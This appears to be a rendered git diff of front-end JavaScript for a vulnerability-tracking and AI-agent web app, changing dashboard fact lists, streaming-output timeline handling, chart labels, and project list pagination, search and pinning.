: dt('dashboard.createFirstProjectBtn', null, '创建第一个项目');
var ctaAction = activeProjects > 0 ? 'chat' : 'project';
empty.innerHTML = (
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noFactsYet', null, '暂无近期事实')) + '</div>' +
'<div class="dashboard-empty-desc">' + esc(desc) + '</div>' +
'<button type="button" class="dashboard-empty-action" data-action="' + esc(ctaAction) + '">' +
esc(ctaLabel) + ' →</button>'
);
var btn = empty.querySelector('[data-action]');
if (btn) {
btn.onclick = function () {
var action = btn.getAttribute('data-action');
if (action === 'project') {
try { switchPage('projects'); } catch (_) {}
setTimeout(function () {
if (typeof window.showNewProjectModal === 'function') {
window.showNewProjectModal();
}
}, 350);
} else {
try { switchPage('chat'); } catch (_) {}
}
};
}
}
return;
}
if (empty) {
empty.hidden = true;
empty.classList.remove('is-rich');
}
list.slice(0, 10).forEach(function (f) {
if (!f) return;
var category = factCategoryShortLabel(f.category);
var confidence = String(f.confidence || 'tentative').toLowerCase();
var item = document.createElement('a');
item.className = 'dashboard-recent-fact-item';
item.setAttribute('role', 'button');
item.tabIndex = 0;
var pid = f.project_id || '';
var fkey = f.fact_key || '';
item.onclick = function () { openProjectFactFromDashboard(pid, fkey); };
item.onkeydown = function (e) {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
item.click();
}
};
// 置顶列始终占位,避免有/无图钉时后续列错位
var pinMark = '<span class="dashboard-recent-fact-pin' + (f.pinned ? ' is-pinned' : '') + '"' +
(f.pinned ? (' title="' + esc(dt('projects.pinned', null, '置顶')) + '"') : '') +
' aria-hidden="true">' + (f.pinned ? '📌' : '') + '</span>';
var projectLabel = (f.project_name || '').trim() || dt('projects.defaultProjectName', null, '项目');
var factKeyLabel = (f.fact_key || '').trim() || '—';
var projectTone = projectFactProjectTone(pid, projectLabel);
var projectCol = '<span class="dashboard-recent-fact-project proj-tone-' + projectTone + '" title="' + esc(projectLabel) + '">' + esc(projectLabel) + '</span>';
var categoryBadge = '<span class="dashboard-recent-fact-cat cat-' + esc(category.toLowerCase().replace(/[^a-z0-9_-]/g, '')) + '">' + esc(category) + '</span>';
var confBadge = '<span class="dashboard-recent-fact-conf conf-' + esc(confidence) + '">' + esc(factConfidenceShortLabel(confidence)) + '</span>';
var summary = '<span class="dashboard-recent-fact-summary" title="' + esc(f.summary || '') + '">' + esc(f.summary || dt('common.untitled', null, '无标题')) + '</span>';
var factKeyCol = '<span class="dashboard-recent-fact-key" title="' + esc(factKeyLabel) + '">' + esc(factKeyLabel) + '</span>';
var time = '<span class="dashboard-recent-fact-time">' + esc(timeAgoStr(f.updated_at)) + '</span>';
item.innerHTML = pinMark + categoryBadge + confBadge + summary + factKeyCol + projectCol + time;
wrap.appendChild(item);
});
}
// 漏洞状态映射:把 status 字符串规整到 4 类(避免脏数据) // 漏洞状态映射:把 status 字符串规整到 4 类(避免脏数据)
function statusKey(s) { function statusKey(s) {
s = String(s || '').toLowerCase(); s = String(s || '').toLowerCase();
@@ -1224,7 +1547,7 @@ function renderVulnStatusPanel(byStatus, total) {
// //
// bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入) // bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入)
// totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断 // totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断
// recentVulnsRes: /api/vulnerabilities?limit=5 响应(用于"最近发现"时间,口径是全量,与处置状态无关) // recentVulnsRes: /api/vulnerabilities?limit=10 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) { function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
var riskBox = document.querySelector('.dashboard-severity-insight-risk'); var riskBox = document.querySelector('.dashboard-severity-insight-risk');
var levelEl = document.getElementById('dashboard-severity-risk-level'); var levelEl = document.getElementById('dashboard-severity-risk-level');
+1 -1
View File
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
position: fixed; position: fixed;
top: 20px; top: 20px;
right: 20px; right: 20px;
z-index: 10000; z-index: 10100;
display: flex; display: flex;
flex-direction: column; flex-direction: column;
gap: 12px; gap: 12px;
File diff suppressed because it is too large Load Diff
+65 -13
View File
@@ -286,6 +286,38 @@ function extractIterationTagFromStreamIdentity(identity) {
return s.slice(idx + 6); return s.slice(idx + 6);
} }
/** Plan-Execute 多轮 executor/planner 同名代理:仅在同轮次内复用流式条目 */
function areMainResponseStreamIterationsCompatible(prevIterTag, streamIterTag, orchestration) {
const orch = String(orchestration != null ? orchestration : '').trim();
if (orch === 'plan_execute') {
return prevIterTag === streamIterTag && prevIterTag !== '';
}
return !prevIterTag || !streamIterTag || prevIterTag === streamIterTag;
}
/** 仅合并 Eino 对同一段 MessageStream 重复发出的 response_start */
function shouldReuseMainResponseStream(progressId, prevStream, responseData, streamOrch) {
if (!prevStream || !prevStream.itemId) {
return false;
}
if (!sameMainResponseStreamMeta(prevStream.streamMeta, responseData)) {
return false;
}
const streamId = responseData && responseData.streamId != null ? String(responseData.streamId).trim() : '';
if (streamId && prevStream.streamId === streamId) {
return true;
}
const orch = String(streamOrch != null ? streamOrch : '').trim();
if (orch === 'plan_execute') {
return false;
}
const prevIterTag = extractIterationTagFromStreamIdentity(prevStream.streamIdentity || '');
const streamIterTag = extractIterationTagFromStreamIdentity(
buildMainResponseStreamIdentity(progressId, responseData)
);
return areMainResponseStreamIterationsCompatible(prevIterTag, streamIterTag, orch);
}
// AI 思考流式输出:progressId -> Map(streamId -> { itemId, buffer }) // AI 思考流式输出:progressId -> Map(streamId -> { itemId, buffer })
const thinkingStreamStateByProgressId = new Map(); const thinkingStreamStateByProgressId = new Map();
@@ -1513,10 +1545,16 @@ function handleStreamEvent(event, progressElement, progressId,
const n = d.iteration != null ? d.iteration : 1; const n = d.iteration != null ? d.iteration : 1;
const scope = d.einoScope != null ? String(d.einoScope).trim() : ''; const scope = d.einoScope != null ? String(d.einoScope).trim() : '';
if (scope !== 'sub') { if (scope !== 'sub') {
const prevMainIter = mainIterationStateByProgressId.get(String(progressId));
const prevN = prevMainIter && prevMainIter.iteration != null ? prevMainIter.iteration : null;
mainIterationStateByProgressId.set(String(progressId), { mainIterationStateByProgressId.set(String(progressId), {
iteration: n, iteration: n,
orchestration: d.orchestration != null ? d.orchestration : '' orchestration: d.orchestration != null ? d.orchestration : ''
}); });
// 主通道进入新轮次后不复用上一轮的「执行输出」时间线条目
if (prevN != null && prevN !== n) {
responseStreamStateByProgressId.delete(progressId);
}
} }
let iterTitle; let iterTitle;
if (d.orchestration === 'plan_execute' && d.einoScope === 'main') { if (d.orchestration === 'plan_execute' && d.einoScope === 'main') {
@@ -1674,6 +1712,8 @@ function handleStreamEvent(event, progressElement, progressId,
} }
case 'tool_calls_detected': case 'tool_calls_detected':
// 助手正文段结束、进入工具调用:下一段 response_start 应新建时间线条目
responseStreamStateByProgressId.delete(progressId);
addTimelineItem(timeline, 'tool_calls_detected', { addTimelineItem(timeline, 'tool_calls_detected', {
title: timelineAgentBracketPrefix(event.data) + '🔧 ' + (typeof window.t === 'function' ? window.t('chat.toolCallsDetected', { count: event.data?.count || 0 }) : '检测到 ' + (event.data?.count || 0) + ' 个工具调用'), title: timelineAgentBracketPrefix(event.data) + '🔧 ' + (typeof window.t === 'function' ? window.t('chat.toolCallsDetected', { count: event.data?.count || 0 }) : '检测到 ' + (event.data?.count || 0) + ' 个工具调用'),
message: event.message, message: event.message,
@@ -2106,18 +2146,16 @@ function handleStreamEvent(event, progressElement, progressId,
// 多代理模式下,迭代过程中的输出只显示在时间线中,不创建助手消息气泡 // 多代理模式下,迭代过程中的输出只显示在时间线中,不创建助手消息气泡
const prevStream = responseStreamStateByProgressId.get(progressId); const prevStream = responseStreamStateByProgressId.get(progressId);
const prevIterTag = extractIterationTagFromStreamIdentity(prevStream && prevStream.streamIdentity ? prevStream.streamIdentity : ''); const streamOrch = responseData.orchestration != null
const compatibleIterTag = !prevIterTag || !streamIterTag || prevIterTag === streamIterTag; ? responseData.orchestration
if ( : (prevStream && prevStream.streamMeta ? prevStream.streamMeta.orchestration : '');
prevStream && if (shouldReuseMainResponseStream(progressId, prevStream, responseData, streamOrch)) {
prevStream.itemId &&
sameMainResponseStreamMeta(prevStream.streamMeta, responseData) &&
compatibleIterTag
) {
// Eino 可能对同一段流重复发 response_start;复用已有条目与 buffer,避免多条「助手输出」 // Eino 可能对同一段流重复发 response_start;复用已有条目与 buffer,避免多条「助手输出」
prevStream.streamMeta = Object.assign({}, prevStream.streamMeta || {}, responseData); prevStream.streamMeta = Object.assign({}, prevStream.streamMeta || {}, responseData);
// 若此前轮次未知(空),在后续事件带来轮次后升级 identity,避免跨轮误复用。
prevStream.streamIdentity = streamIdentity; prevStream.streamIdentity = streamIdentity;
if (responseData.streamId != null) {
prevStream.streamId = String(responseData.streamId).trim();
}
responseStreamStateByProgressId.set(progressId, prevStream); responseStreamStateByProgressId.set(progressId, prevStream);
break; break;
} }
@@ -2128,10 +2166,12 @@ function handleStreamEvent(event, progressElement, progressId,
data: Object.assign({}, responseData, { responseStreamPlaceholder: true }) data: Object.assign({}, responseData, { responseStreamPlaceholder: true })
}); });
responseStreamStateByProgressId.set(progressId, { responseStreamStateByProgressId.set(progressId, {
progressId: progressId,
itemId: itemId, itemId: itemId,
buffer: '', buffer: '',
streamMeta: responseData, streamMeta: responseData,
streamIdentity: streamIdentity streamIdentity: streamIdentity,
streamId: responseData.streamId != null ? String(responseData.streamId).trim() : ''
}); });
break; break;
} }
@@ -2151,12 +2191,19 @@ function handleStreamEvent(event, progressElement, progressId,
// 多代理模式下,迭代过程中的输出只显示在时间线中 // 多代理模式下,迭代过程中的输出只显示在时间线中
// 更新时间线条目内容 // 更新时间线条目内容
let state = responseStreamStateByProgressId.get(progressId); let state = responseStreamStateByProgressId.get(progressId);
const incomingStreamId = responseData.streamId != null ? String(responseData.streamId).trim() : '';
if (!state) { if (!state) {
state = { itemId: null, buffer: '', streamMeta: responseData }; state = { progressId: progressId, itemId: null, buffer: '', streamMeta: responseData, streamId: incomingStreamId };
responseStreamStateByProgressId.set(progressId, state); responseStreamStateByProgressId.set(progressId, state);
} else if (!state.streamMeta && responseData && (responseData.einoAgent || responseData.orchestration)) { } else if (!state.streamMeta && responseData && (responseData.einoAgent || responseData.orchestration)) {
state.streamMeta = responseData; state.streamMeta = responseData;
} }
if (incomingStreamId && state.streamId && state.streamId !== incomingStreamId) {
break;
}
if (incomingStreamId && !state.streamId) {
state.streamId = incomingStreamId;
}
const deltaContent = event.message || ''; const deltaContent = event.message || '';
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break; if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
@@ -3637,10 +3684,15 @@ function buildMcpTimelineSvg(points, rangeKey) {
const tickIdx = points.length <= 2 const tickIdx = points.length <= 2
? points.map((_, i) => i) ? points.map((_, i) => i)
: [0, Math.floor((points.length - 1) / 2), points.length - 1]; : [0, Math.floor((points.length - 1) / 2), points.length - 1];
const xLabels = tickIdx.map((idx) => { const xLabels = tickIdx.map((idx, ti) => {
const c = coords[idx]; const c = coords[idx];
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale); const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="middle">${escapeHtml(label)}</text>`; let anchor = 'middle';
if (tickIdx.length > 1) {
if (ti === 0) anchor = 'start';
else if (ti === tickIdx.length - 1) anchor = 'end';
}
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="${anchor}">${escapeHtml(label)}</text>`;
}).join(''); }).join('');
const dots = coords.map((c) => { const dots = coords.map((c) => {
+227 -49
View File
@@ -3,6 +3,7 @@
*/ */
let projectsCache = []; let projectsCache = [];
let projectsCacheAll = []; let projectsCacheAll = [];
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
let currentProjectId = null; let currentProjectId = null;
let currentProjectTab = 'facts'; let currentProjectTab = 'facts';
const projectNameById = {}; const projectNameById = {};
@@ -167,23 +168,128 @@ function rebuildProjectNameMap(list) {
}); });
} }
async function fetchProjectsList(includeArchived) { function getProjectsListPageSize() {
try {
const saved = parseInt(localStorage.getItem(PROJECTS_LIST_PAGE_SIZE_KEY), 10);
if ([20, 50, 100].includes(saved)) return saved;
} catch (e) { /* ignore */ }
return 50;
}
let projectsListPagination = { page: 1, pageSize: getProjectsListPageSize(), total: 0 };
let projectsListSearch = '';
let _projectsListSearchDebounce = null;
function parseListTotalValue(raw, itemsLength) {
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
if (raw != null && raw !== '') {
const n = parseInt(String(raw), 10);
if (Number.isFinite(n) && n >= 0) return n;
}
return itemsLength;
}
function parseListOffsetValue(raw) {
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
if (raw != null && raw !== '') {
const n = parseInt(String(raw), 10);
if (Number.isFinite(n) && n >= 0) return n;
}
return 0;
}
function parseProjectsListResponse(data) {
if (Array.isArray(data)) {
return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
}
const items = data.projects || data.items || [];
const arr = Array.isArray(items) ? items : [];
return {
items: arr,
total: parseListTotalValue(data.total, arr.length),
limit: parseListTotalValue(data.limit, arr.length) || arr.length,
offset: parseListOffsetValue(data.offset),
isLegacyArray: false,
};
}
async function resolveProjectsListTotal(params, parsed, pageSize, offset) {
const serverTotal = parsed.total;
// 服务端 total 明确大于当前页末尾 → 直接信任
if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
return serverTotal;
}
// 不足一页 → 已是最后一页
if (parsed.items.length < pageSize) {
return Math.max(serverTotal, offset + parsed.items.length);
}
// 满页但 total 可能被误算为 items.length → 探测下一页
const probe = new URLSearchParams(params);
probe.set('offset', String(offset + pageSize));
probe.set('limit', '1');
try {
const res = await apiFetch(`/api/projects?${probe}`);
if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
const probeParsed = parseProjectsListResponse(await res.json());
if (probeParsed.total > serverTotal) return probeParsed.total;
if (probeParsed.items.length > 0) {
return Math.max(serverTotal, offset + pageSize + 1);
}
} catch (e) { /* ignore */ }
return Math.max(serverTotal, offset + parsed.items.length);
}
async function fetchAllProjects(includeArchived) {
const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked; const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
const url = showArchived ? '/api/projects?limit=200' : '/api/projects?status=active&limit=200'; let all = [];
const res = await apiFetch(url); const pageSize = 200;
let offset = 0;
let total = Infinity;
while (all.length < total) {
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
if (!showArchived) params.set('status', 'active');
const res = await apiFetch(`/api/projects?${params}`);
if (!res.ok) throw new Error(tp('projects.loadProjectsFailed')); if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
const data = await res.json(); const parsed = parseProjectsListResponse(await res.json());
projectsCache = Array.isArray(data) ? data : []; all = all.concat(parsed.items);
rebuildProjectNameMap(projectsCache); total = parsed.total;
_projectsListReady = true; if (!parsed.items.length) break;
offset += parsed.items.length;
}
return all;
}
async function fetchProjectsList(includeArchived, opts = {}) {
const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
const page = opts.page ?? projectsListPagination.page;
const pageSize = opts.pageSize ?? getProjectsListPageSize();
const search = opts.search !== undefined ? opts.search : projectsListSearch;
projectsListSearch = search;
const offset = (page - 1) * pageSize;
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
if (search) params.set('search', search);
if (!showArchived) params.set('status', 'active');
const res = await apiFetch(`/api/projects?${params}`);
if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
const parsed = parseProjectsListResponse(await res.json());
const total = await resolveProjectsListTotal(params, parsed, pageSize, offset);
projectsCache = parsed.items;
projectsListPagination = { page, pageSize: pageSize, total };
rebuildProjectNameMap(projectsCacheAll.length ? projectsCacheAll : projectsCache);
return projectsCache; return projectsCache;
} }
/** 对话页等项目选择器:确保列表已拉取(去重并发请求) */ /** 对话页等项目选择器:确保全量列表已拉取(去重并发请求) */
async function ensureProjectsLoaded(force) { async function ensureProjectsLoaded(force) {
if (!force && _projectsListReady) return projectsCache; if (!force && _projectsListReady) return projectsCacheAll;
if (!force && _projectsFetchPromise) return _projectsFetchPromise; if (!force && _projectsFetchPromise) return _projectsFetchPromise;
_projectsFetchPromise = fetchProjectsList(false) _projectsFetchPromise = fetchAllProjects(false)
.then((list) => {
projectsCacheAll = list;
rebuildProjectNameMap(projectsCacheAll);
_projectsListReady = true;
return projectsCacheAll;
})
.catch((e) => { .catch((e) => {
_projectsListReady = false; _projectsListReady = false;
throw e; throw e;
@@ -204,9 +310,10 @@ async function ensureDefaultActiveProjectForNewChat() {
await ensureProjectsLoaded(); await ensureProjectsLoaded();
const cur = getActiveProjectId(); const cur = getActiveProjectId();
if (cur && isActiveChatProjectId(cur)) return cur; if (cur && isActiveChatProjectId(cur)) return cur;
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
const first = const first =
projectsCache.find((p) => p.pinned && p.status !== 'archived') || source.find((p) => p.pinned && p.status !== 'archived') ||
projectsCache.find((p) => p.status !== 'archived'); source.find((p) => p.status !== 'archived');
if (first) { if (first) {
setActiveProjectId(first.id); setActiveProjectId(first.id);
return first.id; return first.id;
@@ -238,6 +345,8 @@ async function initProjectsPage() {
initProjectsModalEscape(); initProjectsModalEscape();
syncProjectsModalBodyLock(); syncProjectsModalBodyLock();
updateProjectsDetailVisibility(); updateProjectsDetailVisibility();
projectsListPagination.pageSize = getProjectsListPageSize();
renderProjectsPagination();
await loadProjectsList(); await loadProjectsList();
if (!currentProjectId && projectsCache.length) { if (!currentProjectId && projectsCache.length) {
const fromHash = new URLSearchParams(window.location.hash.split('?')[1] || '').get('id'); const fromHash = new URLSearchParams(window.location.hash.split('?')[1] || '').get('id');
@@ -250,8 +359,19 @@ async function initProjectsPage() {
} }
async function loadProjectsList() { async function loadProjectsList() {
_projectsListReady = false;
projectsCacheAll = [];
projectsListPagination.pageSize = getProjectsListPageSize();
await fetchProjectsList(); await fetchProjectsList();
renderProjectsSidebar(); renderProjectsSidebar();
renderProjectsPagination();
try {
projectsCacheAll = await fetchAllProjects();
rebuildProjectNameMap(projectsCacheAll);
_projectsListReady = true;
} catch (e) {
console.warn(e);
}
if (typeof refreshChatProjectSelector === 'function') { if (typeof refreshChatProjectSelector === 'function') {
refreshChatProjectSelector(); refreshChatProjectSelector();
} }
@@ -277,7 +397,7 @@ function updateProjectsDetailVisibility() {
function updateProjectsListCount() { function updateProjectsListCount() {
const el = document.getElementById('projects-list-count'); const el = document.getElementById('projects-list-count');
if (el) el.textContent = String(projectsCache.length); if (el) el.textContent = String(projectsListPagination.total || projectsCache.length);
} }
/** 事实分类 → 徽章样式(与 fact_template.go 常量对齐) */ /** 事实分类 → 徽章样式(与 fact_template.go 常量对齐) */
@@ -385,26 +505,97 @@ function getProjectsListFilter() {
} }
function filterProjectsList() { function filterProjectsList() {
if (_projectsListSearchDebounce) clearTimeout(_projectsListSearchDebounce);
_projectsListSearchDebounce = setTimeout(() => {
_projectsListSearchDebounce = null;
const q = getProjectsListFilter();
projectsListPagination.page = 1;
fetchProjectsList(undefined, { page: 1, search: q })
.then(() => {
renderProjectsSidebar(); renderProjectsSidebar();
renderProjectsPagination();
})
.catch((e) => console.warn(e));
}, 280);
}
function goProjectsPage(page) {
const totalPages = Math.max(1, Math.ceil((projectsListPagination.total || 0) / projectsListPagination.pageSize) || 1);
const next = Math.min(Math.max(1, page), totalPages);
if (next === projectsListPagination.page) return;
fetchProjectsList(undefined, { page: next })
.then(() => {
renderProjectsSidebar();
renderProjectsPagination();
const listEl = document.getElementById('projects-list');
if (listEl) listEl.scrollTop = 0;
})
.catch((e) => console.warn(e));
}
function changeProjectsPageSize() {
const sel = document.getElementById('projects-page-size-pagination');
const newSize = sel ? parseInt(sel.value, 10) : 50;
if (![20, 50, 100].includes(newSize)) return;
try {
localStorage.setItem(PROJECTS_LIST_PAGE_SIZE_KEY, String(newSize));
} catch (e) { /* ignore */ }
projectsListPagination.pageSize = newSize;
projectsListPagination.page = 1;
fetchProjectsList(undefined, { page: 1, pageSize: newSize })
.then(() => {
renderProjectsSidebar();
renderProjectsPagination();
})
.catch((e) => console.warn(e));
}
function renderProjectsPagination() {
const el = document.getElementById('projects-pagination');
if (!el) return;
const { page, pageSize, total } = projectsListPagination;
const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
const navDisabled = total === 0 || totalPages <= 1;
el.hidden = false;
const start = total === 0 ? 0 : (page - 1) * pageSize + 1;
const end = total === 0 ? 0 : Math.min(page * pageSize, total);
const infoText = tpFmt('projects.paginationRange', `${start}-${end}/${total}`, { start, end, total });
const pageText = tpFmt('projects.paginationPage', `${page}/${totalPages}`, { page, total: totalPages });
el.innerHTML = `
<div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
<span class="pagination-info">${escapeHtml(infoText)}</span>
<div class="pagination-controls">
<button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationPrev'))}" aria-label="${escapeHtml(tp('projects.paginationPrev'))}"></button>
<span class="pagination-page">${escapeHtml(pageText)}</span>
<button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationNext'))}" aria-label="${escapeHtml(tp('projects.paginationNext'))}"></button>
</div>
<label class="pagination-page-size">
${escapeHtml(tp('projects.paginationPerPage'))}
<select id="projects-page-size-pagination" onchange="changeProjectsPageSize()">
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
</select>
</label>
</div>`;
} }
function renderProjectsSidebar() { function renderProjectsSidebar() {
const el = document.getElementById('projects-list'); const el = document.getElementById('projects-list');
if (!el) return; if (!el) return;
updateProjectsListCount(); updateProjectsListCount();
const q = getProjectsListFilter(); const list = projectsCache;
const list = q
? projectsCache.filter((p) => (p.name || '').toLowerCase().includes(q) || (p.description || '').toLowerCase().includes(q))
: projectsCache;
if (!projectsCache.length) { if (!projectsCache.length) {
el.innerHTML = el.innerHTML =
`<div class="projects-empty">${escapeHtml(tp('projects.noProjects'))}<br><button type="button" class="btn-primary btn-small projects-empty-btn" onclick="showNewProjectModal()">${escapeHtml(tp('projects.newProject'))}</button></div>`; `<div class="projects-empty">${escapeHtml(tp('projects.noProjects'))}<br><button type="button" class="btn-primary btn-small projects-empty-btn" onclick="showNewProjectModal()">${escapeHtml(tp('projects.newProject'))}</button></div>`;
updateProjectsDetailVisibility(); updateProjectsDetailVisibility();
renderProjectsPagination();
return; return;
} }
if (!list.length) { if (!list.length) {
el.innerHTML = `<div class="projects-empty">${escapeHtml(tp('projects.noMatchingProjects'))}</div>`; el.innerHTML = `<div class="projects-empty">${escapeHtml(tp('projects.noMatchingProjects'))}</div>`;
updateProjectsDetailVisibility(); updateProjectsDetailVisibility();
renderProjectsPagination();
return; return;
} }
el.innerHTML = list.map((p) => { el.innerHTML = list.map((p) => {
@@ -574,9 +765,12 @@ async function loadProjectFacts() {
const vulnLink = f.related_vulnerability_id const vulnLink = f.related_vulnerability_id
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>` ? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
: ''; : '';
const pinBadge = f.pinned
? `<span class="projects-list-item-badge" title="${escapeHtml(tp('projects.pinned'))}">${escapeHtml(tp('projects.pinned'))}</span>`
: '';
return `<tr> return `<tr>
<td><code>${keyEsc}</code>${vulnLink}</td> <td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${pinBadge}${vulnLink}</td>
<td>${formatCategoryBadge(f.category)}</td> <td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td> <td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
<td>${formatFactBodyBadge(f)}</td> <td>${formatFactBodyBadge(f)}</td>
<td>${formatConfidenceBadge(f.confidence)}</td> <td>${formatConfidenceBadge(f.confidence)}</td>
@@ -678,7 +872,6 @@ async function viewProjectFactBody(factKey) {
]; ];
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id })); if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id })); if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
if (f.supersedes_fact_id) metaParts.push(tp('projects.factMetaHasPrevious'));
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · '); document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody'); document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
const warnEl = document.getElementById('fact-detail-sparse-warn'); const warnEl = document.getElementById('fact-detail-sparse-warn');
@@ -691,33 +884,6 @@ async function viewProjectFactBody(factKey) {
warnEl.textContent = ''; warnEl.textContent = '';
} }
} }
const prevWrap = document.getElementById('fact-detail-prev-wrap');
if (prevWrap) {
prevWrap.hidden = true;
if (f.id && f.supersedes_fact_id) {
try {
const prevRes = await apiFetch(
`/api/projects/${currentProjectId}/facts/${encodeURIComponent(f.id)}/previous-version`,
);
if (prevRes.ok) {
const prev = await prevRes.json();
prevWrap.hidden = false;
document.getElementById('fact-detail-prev-meta').textContent = tpFmt(
'projects.factPreviousMeta',
`Archived at ${formatProjectTime(prev.archived_at)} · Summary: ${prev.summary || '—'} · Confidence: ${prev.confidence || '—'}`,
{
time: formatProjectTime(prev.archived_at),
summary: prev.summary || '—',
confidence: prev.confidence || '—',
},
);
document.getElementById('fact-detail-prev-body').textContent = prev.body || tp('projects.emptyBody');
}
} catch (e) {
console.warn(e);
}
}
}
const linkBtn = document.getElementById('fact-detail-link-vuln-btn'); const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
const createBtn = document.getElementById('fact-detail-create-vuln-btn'); const createBtn = document.getElementById('fact-detail-create-vuln-btn');
if (linkBtn) linkBtn.hidden = false; if (linkBtn) linkBtn.hidden = false;
@@ -1165,6 +1331,8 @@ function resetFactModalForm() {
document.getElementById('fact-modal-summary').value = ''; document.getElementById('fact-modal-summary').value = '';
document.getElementById('fact-modal-body').value = ''; document.getElementById('fact-modal-body').value = '';
document.getElementById('fact-modal-confidence').value = 'tentative'; document.getElementById('fact-modal-confidence').value = 'tentative';
const pinEl = document.getElementById('fact-modal-pinned');
if (pinEl) pinEl.checked = false;
const rel = document.getElementById('fact-modal-related-vuln'); const rel = document.getElementById('fact-modal-related-vuln');
if (rel) rel.value = ''; if (rel) rel.value = '';
updateFactFormHints(); updateFactFormHints();
@@ -1198,6 +1366,8 @@ function fillFactModalForm(f) {
} }
const rel = document.getElementById('fact-modal-related-vuln'); const rel = document.getElementById('fact-modal-related-vuln');
if (rel) rel.value = f.related_vulnerability_id || ''; if (rel) rel.value = f.related_vulnerability_id || '';
const pinEl = document.getElementById('fact-modal-pinned');
if (pinEl) pinEl.checked = !!f.pinned;
updateFactFormHints(); updateFactFormHints();
} }
@@ -1242,6 +1412,7 @@ async function saveFactModal() {
summary, summary,
body, body,
confidence: document.getElementById('fact-modal-confidence').value, confidence: document.getElementById('fact-modal-confidence').value,
pinned: !!document.getElementById('fact-modal-pinned')?.checked,
related_vulnerability_id: document.getElementById('fact-modal-related-vuln')?.value?.trim() || '', related_vulnerability_id: document.getElementById('fact-modal-related-vuln')?.value?.trim() || '',
}; };
const editId = window._factModalEditId; const editId = window._factModalEditId;
@@ -1337,7 +1508,8 @@ function getChatProjectSelection() {
function isActiveChatProjectId(id) { function isActiveChatProjectId(id) {
if (!id) return false; if (!id) return false;
return projectsCache.some((p) => p.id === id && p.status !== 'archived'); const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
return source.some((p) => p.id === id && p.status !== 'archived');
} }
/** 用于 UI:无效/已删除/无可用项目时视为未绑定 */ /** 用于 UI:无效/已删除/无可用项目时视为未绑定 */
@@ -1392,7 +1564,8 @@ function renderChatProjectPanelList() {
const list = document.getElementById('chat-project-list'); const list = document.getElementById('chat-project-list');
if (!list) return; if (!list) return;
const selected = resolveChatProjectSelection(); const selected = resolveChatProjectSelection();
const activeProjects = projectsCache.filter((p) => p.status !== 'archived'); const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
const activeProjects = source.filter((p) => p.status !== 'archived');
